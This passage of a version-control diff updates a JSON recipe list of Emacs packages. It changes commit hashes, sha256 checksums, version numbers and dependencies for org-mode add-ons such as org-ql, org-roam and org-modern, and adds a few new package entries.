"1bc1bc1a6f06d0d9fe3ac3b8a86e061b80a32462", - "sha256": "1jh11mbjswfzqhx7vff0lq07ggdfv8yjzqapkkbj8zfvp8p3v406" + "commit": "e842ab4ed817b95e98a3cb6fa39b5ffd3488c342", + "sha256": "1y1ik3c2cs8zgvrdd5655lyxm3ld17r5nh152dv1ah5agy54k6rf" }, "stable": { "version": [ 3, - 1, - 2 + 2, + 4 ], "deps": [ "dash", "promise", "request" ], - "commit": "1bc1bc1a6f06d0d9fe3ac3b8a86e061b80a32462", - "sha256": "1jh11mbjswfzqhx7vff0lq07ggdfv8yjzqapkkbj8zfvp8p3v406" + "commit": "e842ab4ed817b95e98a3cb6fa39b5ffd3488c342", + "sha256": "1y1ik3c2cs8zgvrdd5655lyxm3ld17r5nh152dv1ah5agy54k6rf" } }, { @@ -85023,14 +85675,14 @@ "repo": "awth13/org-appear", "unstable": { "version": [ - 20220617, - 2355 + 20231127, + 1052 ], "deps": [ "org" ], - "commit": "60ba267c5da336e75e603f8c7ab3f44e6f4e4dac", - "sha256": "03ph0mg9ny8gc8rl1r87ghs3c25wdix5yv70p0854xhkmp5fz5m5" + "commit": "81eba5d7a5b74cdb1bad091d85667e836f16b997", + "sha256": "1jh2rdp7rx1hnsfky5di1amz8rc5jf0qlc5ykr09m5f9fpz9m9x6" }, "stable": { "version": [ @@ -85278,19 +85930,20 @@ "repo": "alphapapa/org-bookmark-heading", "unstable": { "version": [ - 20230517, - 1141 + 20231216, + 1234 ], - "commit": "4e97fab8cf0307fc338df50efac103ed966c7914", - "sha256": "1fkwzwyim0icnfh5gbrahx50m7zmcw42g407064p87gazd1rir6c" + "commit": "ed8b7fe2a08b06a1d750d1e1230e6728815e0bcd", + "sha256": "19fayjglgr3vk365a2f0c2mdnww30cxpzmi1sl2p2n3mic21av37" }, "stable": { "version": [ 1, - 3 + 3, + 1 ], - "commit": "4e97fab8cf0307fc338df50efac103ed966c7914", - "sha256": "1fkwzwyim0icnfh5gbrahx50m7zmcw42g407064p87gazd1rir6c" + "commit": "3e95313837898ec8660c7a8b0f601ec7edda7bfc", + "sha256": "0dixym930mxsl954rbjay2wk4p0r5d90jgz2cyv5hs3pa40msgdl" } }, { @@ -85421,14 +86074,14 @@ "repo": "dengste/org-caldav", "unstable": { "version": [ - 20230928, - 1922 + 20240127, + 1937 ], "deps": [ "org" ], - "commit": "8610bd4a1c5726d85d999c9abab2b2d6044ab895", - "sha256": "1pixliwsxgybvyhjmjspxhyynrzvb1x9ms9wpdnlq2zsahh2x3v5" + "commit": "a225f493da331aa27041a1c830aa45484b6d5381", + "sha256": "0qzbzhpmqacskm02s88sfxkz3p1wdj1ddzdhgxf9766s8ywbn8q3" } }, { @@ -85517,14 +86170,47 @@ "repo": "Chobbes/org-chef", "unstable": { "version": [ - 20230814, - 1312 + 20231127, + 1601 ], "deps": [ "org" ], - "commit": "66d434b52a306222fe7e13ce4c0cec4a0408fbac", - "sha256": "1ccd6y5323mjsfga79lii4kx3lg183g8vj796yz076ggbfi4nm6s" + "commit": "1710b54441ed744dcdfb125d08fb88cfaf452f10", + "sha256": "0adkfcci8scgv8d9a3f9sa3wfb2c03xp3znsd1lfa6g881xmq8d8" + } + }, + { + "ename": "org-cite-sidecar", + "commit": "78a825b6589e3d1264a2134c11fdf836ea75e348", + "sha256": "0ifdlfk6zqv6ajl0hsc0vhll5pf496n7za65vnvpfrmbkz1g9j6y", + "fetcher": "sourcehut", + "repo": "swflint/emacs-universal-sidecar", + "unstable": { + "version": [ + 20240203, + 1618 + ], + "deps": [ + "citeproc", + "universal-sidecar", + "universal-sidecar-citeproc" + ], + "commit": "9998eea0cff6216acfc354a99431c4506dec1839", + "sha256": "1rzirczzkzfg6ri8sn3x0k38ii5ra45m2n3hbrls90djzx63r778" + }, + "stable": { + "version": [ + 1, + 5, + 2 + ], + "deps": [ + "citeproc", + "universal-sidecar" + ], + "commit": "9050eaea7946e613a4b9ecd9dd1462614699edb1", + "sha256": "169n0d4hsx9azch1w14wlmilm411hb7v0564xrcwww5w145jrs9m" } }, { @@ -86334,8 +87020,8 @@ "repo": "Trevoke/org-gtd.el", "unstable": { "version": [ - 20230718, - 54 + 20231224, + 1639 ], "deps": [ "f", @@ -86344,8 +87030,8 @@ "org-edna", "transient" ], - "commit": "4f50c27d1afe90cf764cd10cecf91a085694c8bd", - "sha256": "1i6m7fzrjmd33hhcnjcqw0h8acjijndgy3qb9yz3gfybpv6nhzfl" + "commit": "f82eb971db0008b773a57c207120751f913bde6b", + "sha256": "0ffwc6zv0y3kwj4a3nzd2dj7jq51lck3kqzgl0il54hyg9fpm7ll" }, "stable": { "version": [ @@ -86507,30 +87193,30 @@ "repo": "marcIhm/org-index", "unstable": { "version": [ - 20230830, - 1535 + 20240202, + 1157 ], "deps": [ "dash", "org", "s" ], - "commit": "e7e77bc33a1bf50a337f74bf36f4b9912ce5a6f9", - "sha256": "0v105rfbh4v9dwf8493lcdz34zp3kgmsjf3k8sxfkk9jn10jj6mf" + "commit": "dca10e5e90a06c20515208f2d9f3a90455507fa6", + "sha256": "03y4kzn7v0cnp4mqzxmgbzcyyzp1nr70p6fv15725536vxj956fm" }, "stable": { "version": [ 7, 4, - 4 + 5 ], "deps": [ "dash", "org", "s" ], - "commit": "d919b9e2ef8c0f814455b82ffea080e872b89c72", - "sha256": "0191fph92aizhvydx3viswqmq6b2cc7x5wwnwifkgmw05lra5z6s" + "commit": "dca10e5e90a06c20515208f2d9f3a90455507fa6", + "sha256": "03y4kzn7v0cnp4mqzxmgbzcyyzp1nr70p6fv15725536vxj956fm" } }, { @@ -86619,16 +87305,16 @@ "repo": "beacoder/org-ivy-search", "unstable": { "version": [ - 20230222, - 514 + 20231213, + 857 ], "deps": [ "beacon", "ivy", "org" ], - "commit": "7f2afd8c196e3723ae6ac4dd229367ece9acd3bf", - "sha256": "1k3l2zhwmnbxbslxrp07zsvg5xrzawiklskw90bpfvwakrbnsh88" + "commit": "aeff31203c4c407d3f921124b6798ffd04772a11", + "sha256": "0rdbka4c0vfnpcvy1s08pk7qk4g9q651wlfhqqv5fmzm7gm9ylrq" } }, { @@ -86639,14 +87325,26 @@ "repo": "hperrey/org-jami-bot", "unstable": { "version": [ - 20230605, - 950 + 20240203, + 1016 ], "deps": [ "jami-bot" ], - "commit": "6d80549e9aaacd04cff410b22e7f265373f4d73b", - "sha256": "037i664c99f05q03yvdz16jk2agdh7gr83n8ffp8kqlxx2ri0v9p" + "commit": "020b03f299dad438f65d7bcbf93553b273fd7c33", + "sha256": "0fj166qawhnjbc14237fj8ph4f4xdjka7p8r2gxkfq6h0z101nr2" + }, + "stable": { + "version": [ + 0, + 0, + 4 + ], + "deps": [ + "jami-bot" + ], + "commit": "a9ac8f6628978d60d8171fff45997c3e25dd35b5", + "sha256": "0blwbdclxg9sv6jg0ny69q9821isbj2k6lc3lisqh8kxf0pn53si" } }, { @@ -86691,14 +87389,14 @@ "repo": "bastibe/org-journal", "unstable": { "version": [ - 20231022, - 829 + 20240107, + 1922 ], "deps": [ "org" ], - "commit": "a306f76ee2b0292946a20530bd9114aefc85a263", - "sha256": "0bym8v8hwwhshk65hpfg7dnyzyym0g0hz6h692jpiqrp0mcvnilc" + "commit": "605a7eb984a95fc6ec122df800632bf56ff59514", + "sha256": "174mlgckvygahg3jvcsiplda6s633j3h4pz83n9nj5wr8i2r18g8" }, "stable": { "version": [ @@ -86736,16 +87434,16 @@ "repo": "SqrtMinusOne/org-journal-tags", "unstable": { "version": [ - 20230704, - 2026 + 20240101, + 4 ], "deps": [ "magit-section", "org-journal", "transient" ], - "commit": "f6433d0810f87a80847f4f3674db4ac89a59c69c", - "sha256": "1x9pa6n67sba8wjgcysg5w4fkszr9h3wyj0a8w3zx3icfs675r6a" + "commit": "a68e40a8473ff18bef58a171245a9cdef6eee622", + "sha256": "1ks7zzvv45i9pblnd5w3845xzg18sn85a5w50gvflrx71dn3z8xs" }, "stable": { "version": [ @@ -86844,15 +87542,15 @@ "url": "https://repo.or.cz/org-link-beautify.git", "unstable": { "version": [ - 20231030, - 1400 + 20240104, + 247 ], "deps": [ "fb2-reader", "nerd-icons" ], - "commit": "670bd54601cdcc129016bbbe6334f3277e88590b", - "sha256": "1lgys9d8qvw7jry50qfh1xq5znp23n8yi1rz6w7zq57b40na1rck" + "commit": "0da5f4321bd1ed69e0597cdb99ecc2ee16d3538c", + "sha256": "1phwvf5m528fkp01k830gp1maqg65vbn3450dn4kdsrr28phk8z5" } }, { @@ -86964,16 +87662,17 @@ "repo": "alphapapa/org-make-toc", "unstable": { "version": [ - 20231025, - 2326 + 20231206, + 101 ], "deps": [ + "compat", "dash", "org", "s" ], - "commit": "df29826107ad12fd1d5f173a9a8e070b84f21a68", - "sha256": "1bsn8z7nc2qngjdkd7sq14f53i8pgjchka1s3l6cqxbjv9gvm0q5" + "commit": "412f211e8477c37f2e775e02341c43d42fe92bb9", + "sha256": "1f6l4g6dl4r9ylmrsnr2wja8bdr3635j8mlpih0lx5d8h5l11s8k" }, "stable": { "version": [ @@ -86997,11 +87696,11 @@ "repo": "org-mime/org-mime", "unstable": { "version": [ - 20230321, - 2341 + 20240129, + 2327 ], - "commit": "d368bd4119bfcf2997a6a23bbf5f41e043164d29", - "sha256": "04vdppy4phdpc03l2z1pz49gczb4rwazd4yvin4qnq7v8v4ia018" + "commit": "9d4584651d89806b79d5993b286d32d6f70499a9", + "sha256": "0zvzb6gbls3zv0qkm5x1vjx0mp4fpg0qy049lq35gqvdw1haxlsp" }, "stable": { "version": [ @@ -87092,25 +87791,25 @@ "repo": "minad/org-modern", "unstable": { "version": [ - 20230905, - 806 + 20240102, + 329 ], "deps": [ "compat" ], - "commit": "afa7d44282d62dbba84afec2a1a6c2a3ee41e7b9", - "sha256": "09jdsh0x5v9sd8sj0f1dcn69rixmlj3w1znflk6gjy249y1l0mb4" + "commit": "5f056aad428a0e4207012a0efa447aacb74c75b9", + "sha256": "1h3j58csbrzvz6fkabp97yrv0gpjrv7c6idlxplfb7qibjhg2lvp" }, "stable": { "version": [ - 0, - 10 + 1, + 1 ], "deps": [ "compat" ], - "commit": "63372bda43a9d0dd9940c1ec3c53f752b642ac41", - "sha256": "0fpc6pf1chjs9bb4m9hzacny3cdxvnpvwsf0vrbbz3vy9sf1a30c" + "commit": "d812a192f040a9e7785a53f144de1800d52b9f0d", + "sha256": "1nanv3rnrjldr2gd55hn2w8j4zcm6b9jq1qica3m7iyq187ygbdg" } }, { @@ -87152,14 +87851,11 @@ "repo": "bpanthi977/org-mpv-notes", "unstable": { "version": [ - 20230907, - 530 + 20231210, + 628 ], - "deps": [ - "mpv" - ], - "commit": "072cecf7097829c463fc38f4bb5026b2311036b6", - "sha256": "09siywwlks32rzr95aigb7lmhiq4b39jcbb5b16wik9z9vzjiq30" + "commit": "01d6d52a1f964e7bb61f0f65ac4fb2ccfa986f34", + "sha256": "1g33yhk0fa4wm4r5xzxasz4cd45anba9pks3cjl2zzdy8yf9xib2" } }, { @@ -87194,14 +87890,14 @@ "repo": "jeremy-compostella/org-msg", "unstable": { "version": [ - 20230530, - 2006 + 20240116, + 2218 ], "deps": [ "htmlize" ], - "commit": "055de4abf611c5d5e12c770fe149c1861b402817", - "sha256": "045x922wag8wqa0hsvcira3wiycjvvxbfgawny379x2bwixikpf0" + "commit": "0b65f0f77a7a71881ddfce19a8cdc60465bda057", + "sha256": "0gv864k31fg2cf0ldl9js9f82h21pa6kjzvxn4kgnnbgpnwzin82" } }, { @@ -87267,28 +87963,28 @@ "repo": "Zweihander-Main/org-newtab", "unstable": { "version": [ - 20231007, - 2103 + 20240117, + 410 ], "deps": [ "async", "websocket" ], - "commit": "2b1f057f67838c9ea58292afa8bedb7f9eadd9e9", - "sha256": "0acv1f0f3hb1c7grd7gfblj7xv8b8hi4c8s6d841h6jgd5x1lwcl" + "commit": "102b6bbd199f6c36c13adc945f020845a190687d", + "sha256": "150l8xyw8ygqmpajs0dm74xfbv7h430zmq6rcvr4jgr7l3gnjizr" }, "stable": { "version": [ 0, 0, - 1 + 3 ], "deps": [ "async", "websocket" ], - "commit": "2b1f057f67838c9ea58292afa8bedb7f9eadd9e9", - "sha256": "0acv1f0f3hb1c7grd7gfblj7xv8b8hi4c8s6d841h6jgd5x1lwcl" + "commit": "6addaa6ac28aba85d5271278ebbc9c145c4cd123", + "sha256": "1f6v6mhg8i9zgyv1aqk7p7mavpdkw4ckxsxadxx2p8ipv7lbgkir" } }, { @@ -87318,15 +88014,15 @@ "repo": "org-noter/org-noter", "unstable": { "version": [ - 20231104, - 2212 + 20231205, + 37 ], "deps": [ "cl-lib", "org" ], - "commit": "a4296d8338d46b5c863d3d339b50e201172f218c", - "sha256": "1y1qsl6444jxqcs0c3aigr9qk6m3a8kjynmn31zk64nlgnybsndc" + "commit": "9d7d48879abb0db89abe4bbdb076fbf5c0d1b5ed", + "sha256": "0blrdgbnx2dxi51vjvxjzlkwddas7fpigzr48yvnrq72l12r8ax8" } }, { @@ -87817,10 +88513,11 @@ "repo": "alphapapa/org-ql", "unstable": { "version": [ - 20231106, - 2230 + 20240113, + 647 ], "deps": [ + "compat", "dash", "f", "map", @@ -87832,16 +88529,17 @@ "transient", "ts" ], - "commit": "4f62ba3bd6d639b021ee9f159357b2a80d7a2f92", - "sha256": "1b4qq5y296v7kx458pj4f1ikx1a6xsg6zndnrjzjbdmkgazpaz5m" + "commit": "8d3c93b8838bd5d5347dd8962b68cc3cabcf0147", + "sha256": "03hc2ki6fcadfns6ppdk58caqczsfcqbfxk6m6367mflgkdpqhzq" }, "stable": { "version": [ 0, - 7, - 3 + 8, + 4 ], "deps": [ + "compat", "dash", "f", "map", @@ -87853,8 +88551,8 @@ "transient", "ts" ], - "commit": "28c4215704031e05190c17932b5e683bb462d9e5", - "sha256": "1jdkk837z8fw2dff5v8fh2dhx7rz348sf5jqpj2aja5ji48p0fs9" + "commit": "9606aaf81230d1faf2c7f54925b45e527fa32bf0", + "sha256": "07r9bx0bh7wyj5pbkhnrn8amzz3ynri94cxcxgcn1r3ypdhk6y85" } }, { @@ -87948,28 +88646,28 @@ "repo": "oer/org-re-reveal", "unstable": { "version": [ - 20230925, - 1309 + 20240103, + 847 ], "deps": [ "htmlize", "org" ], - "commit": "d5c40e2c05ef9b45dc28e7dad2b50330b51dc515", - "sha256": "1ss71iy1xnhr3p4mmfbnbgvp7kjqxpqag49f851wgmmwwg8gajvd" + "commit": "7c39d15b841c7a8d197a24c89e5fef5d54e271aa", + "sha256": "0ayiaqci969d8q3nc0aq0a9djl84lckj2sc5nndbb1bvvhz49xq1" }, "stable": { "version": [ 3, - 23, - 0 + 25, + 1 ], "deps": [ "htmlize", "org" ], - "commit": "d5c40e2c05ef9b45dc28e7dad2b50330b51dc515", - "sha256": "1ss71iy1xnhr3p4mmfbnbgvp7kjqxpqag49f851wgmmwwg8gajvd" + "commit": "7c39d15b841c7a8d197a24c89e5fef5d54e271aa", + "sha256": "0ayiaqci969d8q3nc0aq0a9djl84lckj2sc5nndbb1bvvhz49xq1" } }, { @@ -88127,8 +88825,8 @@ "repo": "jkitchin/org-ref", "unstable": { "version": [ - 20231101, - 2355 + 20240201, + 1224 ], "deps": [ "avy", @@ -88141,10 +88839,11 @@ "org", "ox-pandoc", "parsebib", + "request", "s" ], - "commit": "195b8d3209aff956ecdd755422700e8517a34d11", - "sha256": "1bd6g33brn77x67iad02ncjh841q8lcfhqgynapvfxwf1k24c1y4" + "commit": "b1ceadaa5eaa253e9dac223b9f23ce2b4e8e8ab7", + "sha256": "035h308fvfvdr0mi1k90wq8lzsbcpdbcj2s0k2ia0c9jqgy5860a" }, "stable": { "version": [ @@ -88267,11 +88966,11 @@ "repo": "unhammer/org-rich-yank", "unstable": { "version": [ - 20230605, - 824 + 20240201, + 921 ], - "commit": "9d840c04cba45d245d0dbb4147d6a2b865f45cb5", - "sha256": "152ajjjhzm578flxbxwxmaf24y2mdvlwh7pby6sxxcg5gvs9g50j" + "commit": "b623daf5c5a600d00057ac6351bad6ec8a1efc09", + "sha256": "10iwzl85yvkxfhf0l7shpb91rlkf41ha20sa99n2bsjxwyf9f8kn" }, "stable": { "version": [ @@ -88291,8 +88990,8 @@ "repo": "org-roam/org-roam", "unstable": { "version": [ - 20230307, - 1721 + 20240114, + 1941 ], "deps": [ "dash", @@ -88300,8 +88999,8 @@ "magit-section", "org" ], - "commit": "5c06471c3a11348342719fd9011486455adeb701", - "sha256": "1bd52f3pdj5hq0vr5y53g870s35ir3n5ms2d9y6q74xhbi1lj871" + "commit": "2e94f55cc58f6dce2772a6f33521eb5afcf67265", + "sha256": "0hhq2qfdhp2nlnz3ldx9y36s95n6nmywmbfjrqgn2viwzap23xgn" }, "stable": { "version": [ @@ -88360,8 +89059,8 @@ "repo": "ahmed-shariff/org-roam-ql", "unstable": { "version": [ - 20231105, - 2028 + 20231220, + 503 ], "deps": [ "magit-section", @@ -88370,8 +89069,8 @@ "s", "transient" ], - "commit": "6c8b03638fd9f423104093fb2e4128435528a72e", - "sha256": "120jin5lzjg0mcj9bp197hxhwy2ghycsk00zlax1ymi3pmlcrsmy" + "commit": "04c0a88d86ec66a4586c819048d0ae1833efee83", + "sha256": "070cmgh5j57zk8gjd7vwcr709r7kq6ri0m2c7ac7gw49yh7a68gg" }, "stable": { "version": [ @@ -88590,11 +89289,11 @@ "repo": "localauthor/org-side-tree", "unstable": { "version": [ - 20231003, - 2014 + 20240130, + 656 ], - "commit": "1a7b9629023e41d11fb13de395e78084b374a1a6", - "sha256": "1mhl5iv0i2kfzvfq8klz23s7mi1y1ysi8j63mg1lp0kz974vd7kg" + "commit": "62169a26edfafacd681ecaf84289dd6b58be6c32", + "sha256": "1cjypg5fvvdd8flcbi4jyaql2bpd5xq283lxhgp9kr51x2ibzdnb" } }, { @@ -88605,35 +89304,34 @@ "repo": "alphapapa/org-sidebar", "unstable": { "version": [ - 20210912, - 1321 + 20240102, + 9 ], "deps": [ + "compat", "dash", "org", "org-ql", "org-super-agenda", "s" ], - "commit": "288703b897449f5110c9c76e78eb9a928ffc0dcd", - "sha256": "0ama42nkc90mzwik516kfsh5rdx47yhaarcsqsknxh7xcrm2v0r1" + "commit": "1e06d1b4ab5f0d09301712cdecb757c9437a7179", + "sha256": "0i8w2sbz4hmvz587a45xi3a1rnnyinpj8g7vwskki35qk76h3n3v" }, "stable": { "version": [ 0, - 3, - 2 + 4 ], "deps": [ "dash", - "dash-functional", "org", "org-ql", "org-super-agenda", "s" ], - "commit": "cb14edce5c99f199f28fc611d805ae9fa0d0307e", - "sha256": "1r8kp954ciin4j7j7j8ihdkryf5x09s3ryl7bi9h2j6xqc1ij4wq" + "commit": "324987d71b0f2842ac7cae74e534b490603cce67", + "sha256": "1gccih9wgi31m59flljw4cphfyhlfcqbjih91gkcnldq5z7n83nj" } }, { @@ -88803,11 +89501,11 @@ "repo": "bastibe/org-static-blog", "unstable": { "version": [ - 20231006, - 1534 + 20240124, + 1550 ], - "commit": "8ef0d792d5afbca1d6ffc6469d829e15a8406b93", - "sha256": "0m8jw2w3hy0jxmyiw38jajfd6a3c3hxyrp8as4zcxcjdf1jxy9yy" + "commit": "6459a46bd40abbfe21095504d229db0f66494e86", + "sha256": "061xnx36j1bapq60vsvi47a1619ndg0kg0yvfqm9d8g4a1mvay1p" }, "stable": { "version": [ @@ -88856,8 +89554,8 @@ "repo": "alphapapa/org-super-agenda", "unstable": { "version": [ - 20230924, - 5 + 20231121, + 344 ], "deps": [ "compat", @@ -88867,8 +89565,8 @@ "s", "ts" ], - "commit": "51c0022e4a194ba050c278b442f3592147a5607d", - "sha256": "0dr37f5dg5rjxs9k424582hxp7cd936f23biczwmi67q0sqffmjm" + "commit": "ee3379ae92b90c084717fb2a7614060ce12283cb", + "sha256": "1z8pwi03shgjcy7a31h758a25ikar0b3f8lscil4w9kii2v9222d" }, "stable": { "version": [ @@ -89045,14 +89743,14 @@ "url": "https://repo.or.cz/org-tag-beautify.git", "unstable": { "version": [ - 20231106, - 43 + 20240126, + 314 ], "deps": [ "nerd-icons" ], - "commit": "81bcb84e39587d99b3946e9b32f962975787f49e", - "sha256": "0wnd4qyfibcjf5m7gq54jskfij2b77z4qzvl98pkbdy9gxlqgwbi" + "commit": "c04e13cd991d400e43a25f1ff39409dda0e4957b", + "sha256": "0gkzhnkk9lmb1ddrsfjj0p0q6jsk9zghga3dnjal99jdjcd4kx47" } }, { @@ -89174,14 +89872,14 @@ "repo": "jxq0/org-tidy", "unstable": { "version": [ - 20231011, - 37 + 20240110, + 114 ], "deps": [ "dash" ], - "commit": "789795a032b121825938e74e4bcbdede31de864f", - "sha256": "0zc1wy2qq4dgii7zjjk2vgp8d3qp1dyqrpwvdva5zcnailf15cwf" + "commit": "26d9636f0c43f1ee3f0528880111a4c1dd2bed32", + "sha256": "195wl2y38g76n0kcp47inq1jm5v1kxprh99xgp05bfgv6wf4i1hf" } }, { @@ -89224,33 +89922,29 @@ "repo": "ichernyshovvv/org-timeblock", "unstable": { "version": [ - 20231112, - 1748 + 20240120, + 2253 ], "deps": [ "compat", "org", - "org-ql", - "persist", "svg" ], - "commit": "72a72bad4644f7b6045403e93e99d7a362b03b9c", - "sha256": "045vrp9d8d6wnmi82vi337w5w7i3cs0jprwiyhkf033bwvvdywwb" + "commit": "7b39e19d511536835a3891f1cfbcdff4983b29b6", + "sha256": "1g37yw6gcagfniy3b8n03iw6wplf549x63zcqf6xq2rxd9jf2jxw" }, "stable": { "version": [ 0, - 1 + 2 ], "deps": [ "compat", "org", - "org-ql", - "persist", "svg" ], - "commit": "f8acd4f5c511082633d75a32997dfb3fdc65a32f", - "sha256": "1gdmlrf87nxc1vsmczj12h9xasifcn82y733f0sidw5qhay8jczg" + "commit": "830479285fef28e57d5024c4475a77e7ef1b73a7", + "sha256": "1vmxjbp6ngbqp32wd8hjhgnnh4d3xrr1x7d4l6p39j46b4s324hy" } }, { @@ -89541,15 +90235,15 @@ "repo": "unhammer/org-upcoming-modeline", "unstable": { "version": [ - 20231019, - 735 + 20231124, + 1726 ], "deps": [ "org-ql", "ts" ], - "commit": "136a6a76d770d351559091c8d9ad5a189f1f2622", - "sha256": "0p12jg3pwa2r3ilw6ln6x7cxg0kqhrdk27i85dhaw4i84w0019r3" + "commit": "37634ddeeda85a0036987b056ac71199ac3bd03e", + "sha256": "1p1lphf50c71n0rp5k26kl37a02ahqxklpk1z133bwdmmnqi1ckm" }, "stable": { "version": [ @@ -89666,8 +90360,8 @@ "repo": "alphapapa/org-web-tools", "unstable": { "version": [ - 20231029, - 453 + 20231220, + 1515 ], "deps": [ "compat", @@ -89678,24 +90372,25 @@ "request", "s" ], - "commit": "821e6f032f5823e5e3344ea4d1a36870e236aba1", - "sha256": "19q79mjlx0iawnlh2imvs0cnqgkj90am1yclnbmvll1cjz0rzdx4" + "commit": "7a6498f442fc7f29504745649948635c7165d847", + "sha256": "0x1j1y2pl6a8f97cw04nm0w6g4jh449cjfsr2aryn316ms4nj1a0" }, "stable": { "version": [ 1, - 2 + 3 ], "deps": [ "compat", "dash", "esxml", "org", + "plz", "request", "s" ], - "commit": "067e6a2dc972f6ffb757c7fd204cd1dcb604edf7", - "sha256": "1w24d1cxzgjqycqz894kg3707n3ckwpv5cmbywfaffsz1v5i2p3a" + "commit": "7a6498f442fc7f29504745649948635c7165d847", + "sha256": "0x1j1y2pl6a8f97cw04nm0w6g4jh449cjfsr2aryn316ms4nj1a0" } }, { @@ -89706,16 +90401,16 @@ "repo": "akhramov/org-wild-notifier.el", "unstable": { "version": [ - 20230831, - 2035 + 20231222, + 1147 ], "deps": [ "alert", "async", "dash" ], - "commit": "aa0f2d8ea282dea714ae67f3f5a0471488e6e396", - "sha256": "00xssqg0mvh5ma2053719bcchbrl7mmj8wzhbrjk34cl4lx9p9fb" + "commit": "97649754cead8826fd1b07dc0f6e6eb89cb181e1", + "sha256": "181fckfp5s8apll1z3zkkqmqa58iylwi2ml3z5z77ppsbjdnyrp7" }, "stable": { "version": [ @@ -90003,17 +90698,17 @@ }, { "ename": "organic-green-theme", - "commit": "9383ef5f0372724b34f4bb9173ef8ccbb773e19e", - "sha256": "1fdj3dpcdqx0db5q8dlxag6pr2qn4yiz1hmg3c7dkmh51n85ssw2", - "fetcher": "github", + "commit": "add3089ff62ba64bff96523768d18b79653bd491", + "sha256": "0z4qi67c0y43p1nq9j3ym6919x9nqkk2wkv3djdxbn3p665xfqhv", + "fetcher": "gitlab", "repo": "kostafey/organic-green-theme", "unstable": { "version": [ - 20230121, - 1815 + 20231225, + 149 ], - "commit": "7ca93a1c42bba1bcced181bd8cc34cb57be39537", - "sha256": "1fa27522nb3jqswbii9qsi1csjqw5p6a7lsrylhw2vll8w9v4mma" + "commit": "9b669465c875edd86289d017731880172dc08b9d", + "sha256": "0s0bdghcqddgi3a4cldldgw8rqqsax6smpsk198g5gmfnyaj1yfb" } }, { @@ -90024,8 +90719,8 @@ "repo": "jcs-elpa/organize-imports-java", "unstable": { "version": [ - 20220704, - 657 + 20240101, + 929 ], "deps": [ "dash", @@ -90033,8 +90728,8 @@ "ht", "s" ], - "commit": "5965228882c6b72a9e38ad61a047e599c8488d20", - "sha256": "0s8lf5ffrrhznbcc4blirch20y775856ffblhm9phinwss6ky1n6" + "commit": "93b1d10a82103d38d8cba09d90b9faf219205df3", + "sha256": "1jzzd0qndd9rlds451ww9lwjdbfhlayqbhn9rmsivsiv71gncfm7" }, "stable": { "version": [ @@ -90092,16 +90787,16 @@ "repo": "magit/orgit", "unstable": { "version": [ - 20230917, - 1001 + 20240101, + 2222 ], "deps": [ "compat", "magit", "org" ], - "commit": "b60efabc4a1b15d7eacaabc5bdfe6f3c20fee161", - "sha256": "0q1l7kgicsr1dab1dn33h6icpxcjd7wvhpfy1l6gsfaxc5gda3q1" + "commit": "84bcb5c318f01b9ffc8d5aa18a7c393fe9c714b2", + "sha256": "0apwwjdndhkghax5dnp4v9xh4018i4gngz5bannzvkhp26izaf3y" }, "stable": { "version": [ @@ -90126,8 +90821,8 @@ "repo": "magit/orgit-forge", "unstable": { "version": [ - 20231009, - 1937 + 20240101, + 2222 ], "deps": [ "compat", @@ -90136,8 +90831,8 @@ "org", "orgit" ], - "commit": "f595a30aa75af55522b1203cd29198fb9aa3a0a5", - "sha256": "034shn5x2ar0a2sy90bkxrppada30i0nxsxwpv3sc173i2vppni9" + "commit": "f2ff9e5ad68b3e860379a1d368ad6d8a9696b719", + "sha256": "1pm03d65jw6jvfypl6syl5z2jl1vn0gp67xwjx7934q1fq4gm0nx" }, "stable": { "version": [ @@ -90164,16 +90859,16 @@ "repo": "tarsius/orglink", "unstable": { "version": [ - 20230531, - 1610 + 20240101, + 2222 ], "deps": [ "compat", "org", "seq" ], - "commit": "afbeffdfa15a9fc532bba2e03626b9e82768ba2c", - "sha256": "0jkk6jiqmsns1pb0almaihyz6c3lim0r6l4x75qp7448p46q2him" + "commit": "f62d2804026c10a1da0b7c4a4cb0d647bb2e4829", + "sha256": "0id5ms2zjjanih2isdq0043ry1ygj22cci3cpjc6h3si6m4jrj89" }, "stable": { "version": [ @@ -90250,6 +90945,30 @@ } }, { + "ename": "orgnote", + "commit": "70241b159170f649f410d73e533f87d947b89646", + "sha256": "01mjza6xilkwbqzpfzmhsahxjgyn17ys63vmmrf72f3i2v1017wn", + "fetcher": "github", + "repo": "Artawower/orgnote.el", + "unstable": { + "version": [ + 20231211, + 2104 + ], + "commit": "0919f9fd05b83870b8a7073eb94f77199e681241", + "sha256": "1p23qas9kdycp0l634a74a6h039ccg6f6maqqdi49kp9mwlsd1p9" + }, + "stable": { + "version": [ + 0, + 10, + 3 + ], + "commit": "0919f9fd05b83870b8a7073eb94f77199e681241", + "sha256": "1p23qas9kdycp0l634a74a6h039ccg6f6maqqdi49kp9mwlsd1p9" + } + }, + { "ename": "orgstrap", "commit": "35f53a7b64b1a5c14a6d8b951c809a8696cfcd99", "sha256": "1cjgmibybw24acz5r4zb9jddmng7c0f819h0wl5ih2af2skvpi7k", @@ -90489,25 +91208,25 @@ "repo": "minad/osm", "unstable": { "version": [ - 20231014, - 1337 + 20240122, + 2255 ], "deps": [ "compat" ], - "commit": "cccaf20de935b265832a6fc5c6a25eceb175d23c", - "sha256": "0bva1n1ij1xw8wdwhqs1258ihk7lw8f6ppbadw9s1ixq8fqja75l" + "commit": "5dffbc00e4acfcddc13677f3b76a65dc3b6aee30", + "sha256": "1dr0415xr7a2h4y4zpjkh0hrrcfw4sa55y8y98131h2n5fzhd5sx" }, "stable": { "version": [ - 0, - 14 + 1, + 3 ], "deps": [ "compat" ], - "commit": "1957cf75127471bce0ebe91b5afdf566d5bec033", - "sha256": "1y0zkfc27pnhz5hqpapsqin2kc6al1zjgd6cd4nhzqmh49h81bsb" + "commit": "5dffbc00e4acfcddc13677f3b76a65dc3b6aee30", + "sha256": "1dr0415xr7a2h4y4zpjkh0hrrcfw4sa55y8y98131h2n5fzhd5sx" } }, { @@ -90573,14 +91292,14 @@ "repo": "xuchunyang/osx-dictionary.el", "unstable": { "version": [ - 20220801, - 1542 + 20240111, + 148 ], "deps": [ "cl-lib" ], - "commit": "0715e5a3ac659df32a0f0fabfbbeef0228fbd9a9", - "sha256": "0q4swp25bp0q2aqr8d8wszhcwy738m1brbv52r6hj787pg4wjhvl" + "commit": "1f5a74f3e5d7f3c443f07433951512cd99e820a6", + "sha256": "1nldsxm9m5m8kji9x8c0kjxknbw5y8y865cxbz9vpnxhlx7dj0l5" }, "stable": { "version": [ @@ -90794,14 +91513,14 @@ "repo": "tarsius/outline-minor-faces", "unstable": { "version": [ - 20230514, - 1801 + 20240101, + 2223 ], "deps": [ "compat" ], - "commit": 